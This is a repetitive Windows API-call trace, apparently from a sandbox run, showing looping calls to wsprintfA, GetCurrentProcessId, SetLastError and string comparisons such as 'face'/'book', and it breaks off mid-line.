wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="997P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="998P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] lstrlenA (lpString="just string") returned 11 [0031.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.626] GetLastError () returned 0x57 [0031.626] GetLastError () returned 0x57 [0031.626] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcess () returned 0xffffffff [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="9D2P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcess () returned 0xffffffff [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="9D3P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetLastError () returned 0x57 [0031.626] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="9D4P") returned 4 [0031.626] SetLastError (dwErrCode=0x57) [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] GetCurrentProcessId () returned 0xb44 [0031.626] lstrlenA (lpString="just string") returned 11 [0031.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.626] GetLastError () returned 0x57 [0031.627] lstrlenA (lpString="just string") returned 11 [0031.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.627] GetLastError () returned 0x57 [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="9FCP") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] lstrlenA (lpString="just string") returned 11 [0031.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.627] GetLastError () returned 0x57 [0031.627] lstrlenA (lpString="just string") returned 11 [0031.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.627] GetLastError () returned 0x57 [0031.627] GetLastError () returned 0x57 [0031.627] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcess () returned 0xffffffff [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A22P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcess () returned 0xffffffff [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A23P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A24P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] lstrlenA (lpString="just string") returned 11 [0031.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.627] GetLastError () returned 0x57 [0031.627] GetCurrentProcess () returned 0xffffffff [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A41P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A42P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] lstrlenA (lpString="just string") returned 11 [0031.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.627] GetLastError () returned 0x57 [0031.627] GetLastError () returned 0x57 [0031.627] GetCurrentProcess () returned 0xffffffff [0031.627] GetLastError () returned 0x57 [0031.627] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A55P") returned 4 [0031.627] SetLastError (dwErrCode=0x57) [0031.627] GetCurrentProcessId () returned 0xb44 [0031.627] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A56P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] lstrlenA (lpString="just string") returned 11 [0031.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.628] GetLastError () returned 0x57 [0031.628] GetLastError () returned 0x57 [0031.628] GetLastError () returned 0x57 [0031.628] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcess () returned 0xffffffff [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A86P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcess () returned 0xffffffff [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A87P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="A88P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] lstrlenA (lpString="just string") returned 11 [0031.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.628] GetLastError () returned 0x57 [0031.628] lstrlenA (lpString="just string") returned 11 [0031.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.628] GetLastError () returned 0x57 [0031.628] GetCurrentProcess () returned 0xffffffff [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="AE1P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="AE2P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] lstrlenA (lpString="just string") returned 11 [0031.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.628] GetLastError () returned 0x57 [0031.628] GetCurrentProcess () returned 0xffffffff [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="B13P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetLastError () returned 0x57 [0031.628] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="B14P") returned 4 [0031.628] SetLastError (dwErrCode=0x57) [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.628] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetCurrentProcess () returned 0xffffffff [0031.629] GetLastError () returned 0x57 [0031.629] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="BEFP") returned 4 [0031.629] SetLastError (dwErrCode=0x57) [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetLastError () returned 0x57 [0031.629] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="BF0P") returned 4 [0031.629] SetLastError (dwErrCode=0x57) [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetLastError () returned 0x57 [0031.629] GetLastError () returned 0x57 [0031.629] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C0EP") returned 4 [0031.629] SetLastError (dwErrCode=0x57) [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetCurrentProcess () returned 0xffffffff [0031.629] GetLastError () returned 0x57 [0031.629] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C49P") returned 4 [0031.629] SetLastError (dwErrCode=0x57) [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetLastError () returned 0x57 [0031.629] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C4AP") returned 4 [0031.629] SetLastError (dwErrCode=0x57) [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] GetCurrentProcessId () returned 0xb44 [0031.629] lstrlenA (lpString="just string") returned 11 [0031.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.629] GetLastError () returned 0x57 [0031.629] GetLastError () returned 0x57 [0031.630] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcess () returned 0xffffffff [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C52P") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcess () returned 0xffffffff [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C53P") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C54P") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] lstrlenA (lpString="just string") returned 11 [0031.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.630] GetLastError () returned 0x57 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] lstrlenA (lpString="just string") returned 11 [0031.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.630] GetLastError () returned 0x57 [0031.630] GetLastError () returned 0x57 [0031.630] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcess () returned 0xffffffff [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C8EP") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcess () returned 0xffffffff [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C8FP") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetLastError () returned 0x57 [0031.630] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="C90P") returned 4 [0031.630] SetLastError (dwErrCode=0x57) [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] lstrlenA (lpString="just string") returned 11 [0031.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.630] GetLastError () returned 0x57 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] GetCurrentProcessId () returned 0xb44 [0031.630] lstrlenA (lpString="just string") returned 11 [0031.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.630] GetLastError () returned 0x57 [0031.630] GetLastError () returned 0x57 [0031.630] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcess () returned 0xffffffff [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D06P") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetCurrentProcess () returned 0xffffffff [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D07P") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D08P") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] lstrlenA (lpString="just string") returned 11 [0031.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.631] GetLastError () returned 0x57 [0031.631] GetLastError () returned 0x57 [0031.631] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcess () returned 0xffffffff [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D38P") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetCurrentProcess () returned 0xffffffff [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D39P") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.631] GetCurrentProcessId () returned 0xb44 [0031.631] GetLastError () returned 0x57 [0031.631] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D3AP") returned 4 [0031.631] SetLastError (dwErrCode=0x57) [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] lstrlenA (lpString="just string") returned 11 [0031.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.632] GetLastError () returned 0x57 [0031.632] GetLastError () returned 0x57 [0031.632] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.632] SetLastError (dwErrCode=0x57) [0031.632] GetCurrentProcess () returned 0xffffffff [0031.632] GetLastError () returned 0x57 [0031.632] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D7EP") returned 4 [0031.632] SetLastError (dwErrCode=0x57) [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] GetCurrentProcess () returned 0xffffffff [0031.632] GetLastError () returned 0x57 [0031.632] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D7FP") returned 4 [0031.632] SetLastError (dwErrCode=0x57) [0031.632] GetCurrentProcessId () returned 0xb44 [0031.632] GetLastError () returned 0x57 [0031.632] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="D80P") returned 4 [0031.633] SetLastError (dwErrCode=0x57) [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetLastError () returned 0x57 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetLastError () returned 0x57 [0031.633] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.633] SetLastError (dwErrCode=0x57) [0031.633] GetCurrentProcess () returned 0xffffffff [0031.633] GetLastError () returned 0x57 [0031.633] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="DBAP") returned 4 [0031.633] SetLastError (dwErrCode=0x57) [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcess () returned 0xffffffff [0031.633] GetLastError () returned 0x57 [0031.633] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="DBBP") returned 4 [0031.633] SetLastError (dwErrCode=0x57) [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetLastError () returned 0x57 [0031.633] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="DBCP") returned 4 [0031.633] SetLastError (dwErrCode=0x57) [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetLastError () returned 0x57 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetLastError () returned 0x57 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] GetCurrentProcessId () returned 0xb44 [0031.633] lstrlenA (lpString="just string") returned 11 [0031.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.633] GetLastError () returned 0x57 [0031.633] GetLastError () returned 0x57 [0031.633] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="EDEP") returned 4 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] GetLastError () returned 0x57 [0031.634] GetLastError () returned 0x57 [0031.634] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcess () returned 0xffffffff [0031.634] GetLastError () returned 0x57 [0031.634] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F22P") returned 4 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcess () returned 0xffffffff [0031.634] GetLastError () returned 0x57 [0031.634] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F23P") returned 4 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetLastError () returned 0x57 [0031.634] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="F24P") returned 4 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] GetLastError () returned 0x57 [0031.634] GetLastError () returned 0x57 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.634] GetLastError () returned 0x57 [0031.634] GetLastError () returned 0x57 [0031.634] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1014P") returned 5 [0031.634] SetLastError (dwErrCode=0x57) [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] GetCurrentProcessId () returned 0xb44 [0031.634] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetCurrentProcess () returned 0xffffffff [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1031P") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="1032P") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetLastError () returned 0x57 [0031.635] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcess () returned 0xffffffff [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="106CP") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcess () returned 0xffffffff [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="106DP") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="106EP") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetLastError () returned 0x57 [0031.635] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10AAP") returned 5 [0031.635] SetLastError (dwErrCode=0x57) [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] GetCurrentProcessId () returned 0xb44 [0031.635] lstrlenA (lpString="just string") returned 11 [0031.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.635] GetLastError () returned 0x57 [0031.635] GetLastError () returned 0x57 [0031.635] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcess () returned 0xffffffff [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10D0P") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcess () returned 0xffffffff [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10D1P") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetLastError () returned 0x57 [0031.636] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="10D2P") returned 5 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] GetCurrentProcessId () returned 0xb44 [0031.636] lstrlenA (lpString="just string") returned 11 [0031.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.636] GetLastError () returned 0x57 [0031.636] GetLastError () returned 0x57 [0031.636] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.636] SetLastError (dwErrCode=0x57) [0031.636] GetCurrentProcess () returned 0xffffffff [0031.636] GetLastError 